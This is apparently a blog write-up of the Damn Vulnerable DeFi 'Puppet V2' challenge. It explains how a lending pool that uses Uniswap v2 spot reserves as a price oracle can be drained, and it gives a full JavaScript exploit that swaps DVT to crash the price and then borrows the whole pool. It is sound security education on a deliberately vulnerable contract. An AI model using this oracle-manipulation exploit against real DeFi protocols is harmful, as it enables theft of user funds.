moon

moon

Build for builders on blockchain
github
twitter

Defi Hacker Series: Damn Vulnerable DeFi (9) - Puppet V2

Damn Vulnerable DeFi is a series of DeFi smart contract attack challenges. The content includes flash loan attacks, lending pools, on-chain oracles, etc. Before starting, you need to have skills in Solidity and JavaScript. Your task for each challenge is to ensure that the unit tests for that challenge pass.

Challenge link: https://www.damnvulnerabledefi.xyz/challenges/9.html

Challenge description:

The developer of the previous lending pool challenge has released a new version that now uses the Uniswap v2 exchange as the price oracle, as well as the recommended tooling.

You start with 20 ETH and 10,000 DVT, and there are 1 million DVT in the new lending pool. Your goal is to drain all the DVT from the lending pool.

The approach for this challenge is similar to the previous lending pool challenge, with the difference being that ETH is replaced with WETH. WETH is an ERC20-compliant token that has a 1:1 value ratio with ETH.

Additionally, the challenge uses the Uniswap v2 version as the price oracle. In this version, token-to-token pairing contracts are supported. In this challenge, the pairing contract is WETH-DVT.

The lending contract PuppetV2Pool.sol provides the borrowing functionality as follows:

function borrow(uint256 borrowAmount) external {
    // Ensure that the contract holds enough DVT tokens for borrowing
    require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
    // Calculate the required deposit of WETH
    uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);

    // Transfer WETH to this contract
    _weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);

    // Record the deposited WETH
    deposits[msg.sender] += depositOfWETHRequired;

    // Transfer DVT tokens to the borrower
    require(_token.transfer(msg.sender, borrowAmount));
    emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}

To borrow DVT, the borrower needs to deposit WETH. The amount of WETH to be deposited is calculated using the following method:

function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
    // The collateral value should be 3 times the borrowed DVT amount
    return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}

function _getOracleQuote(uint256 amount) private view returns (uint256) {
    // Get the reserves of WETH and DVT tokens
    // getReserves internally calculates the address of the pairing contract and returns the reserves of the paired tokens
    (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
        _uniswapFactory, address(_weth), address(_token)
    );
    // Calculate the value of DVT
    // amount / x = reservesToken / reservesWETH
    // x = (amount * reservesWETH) / reservesToken
    return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}

The Uniswap v2 has a pairing contract for WETH-DVT with reserves reservesWETH and reservesToken.

The calculation of the value of DVT follows the formula:

x=amount×reservesWETHreservesTokenx = \frac {amount \times reservesWETH}{reservesToken}

In the test script puppet-v2.challenge.js, the following initialization is done:

  • The Uniswap factory contract deploys the WETH-DVT pairing contract and adds liquidity of 10 WETH-100 DVT.
  • The attacker is given 10,000 DVT and 20 ETH.
  • The lending contract is given 1 million DVT.

If the attacker were to borrow all the DVT directly, the cost would be:

1,000,000×10100×3=300,000 WETH\frac {1,000,000 \times 10}{100} \times 3 = 300,000 \text{ WETH}

Since the attacker only holds 20 ETH and WETH is equivalent to ETH at a 1:1 ratio, it is not possible to complete the task.

Instead, the attacker can use the DVT they hold to exchange for WETH in Uniswap. This action will increase the DVT reserves in the WETH-DVT pairing contract and decrease the WETH reserves. As a result, the value of DVT will decrease overall.

it('Exploit', async function () {
  const attackerCallLendingPool = this.lendingPool.connect(attacker)
  const attackerCallUniswap = this.uniswapRouter.connect(attacker)
  const attackerCallToken = this.token.connect(attacker)
  const attackerCallWETH = this.weth.connect(attacker)

  // init:
  // Attacker ETH:  20.0
  // Attacker WETH:  0.0
  // Attacker DVT:  10000.0
  // Uniswap WETH:  10.0
  // Uniswap DVT:  100.0
  // LendingPool DVT:  1000000.0

  // Approve uniswap to spend attacker's DVT tokens
  await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)

  // Swap DVT for WETH in uniswap
  await attackerCallUniswap.swapExactTokensForTokens(
    ATTACKER_INITIAL_TOKEN_BALANCE, 
    ethers.utils.parseEther('9'),
    [attackerCallToken.address, attackerCallWETH.address],
    attacker.address,
    (await ethers.provider.getBlock('latest')).timestamp * 2
  )
  // Attacker ETH:  19.99975413442550073
  // Attacker WETH:  9.900695134061569016
  // Attacker DVT:  0.0
  // Uniswap WETH:  0.099304865938430984
  // Uniswap DVT:  10100.0
  // LendingPool DVT:  1000000.0

  // Calculate the amount of WETH to be deposited as collateral
  const collateralCount = await attackerCallLendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE)
  console.log('collateralCount: ', ethers.utils.formatEther(collateralCount))
  // collateralCount:  29.49649483319732198

  await attackerCallWETH.approve(attackerCallLendingPool.address, collateralCount)
  const tx = {
    to: attackerCallWETH.address,
    value: ethers.utils.parseEther('19.9')
  }
  await attacker.sendTransaction(tx)

  // Borrow DVT
  await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
    gasLimit: 1e6
  })

  // Attacker ETH:  0.099518462674923535
  // Attacker WETH:  0.304200300864247036
  // Attacker DVT:  1000000.0
  // Uniswap WETH:  0.099304865938430984
  // Uniswap DVT:  10100.0
  // LendingPool DVT:  0.0
  // The WETH that the hacker deposited: 29.49649483319732198
})

Finally, running yarn puppet-v2 passes the test!

Full code

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.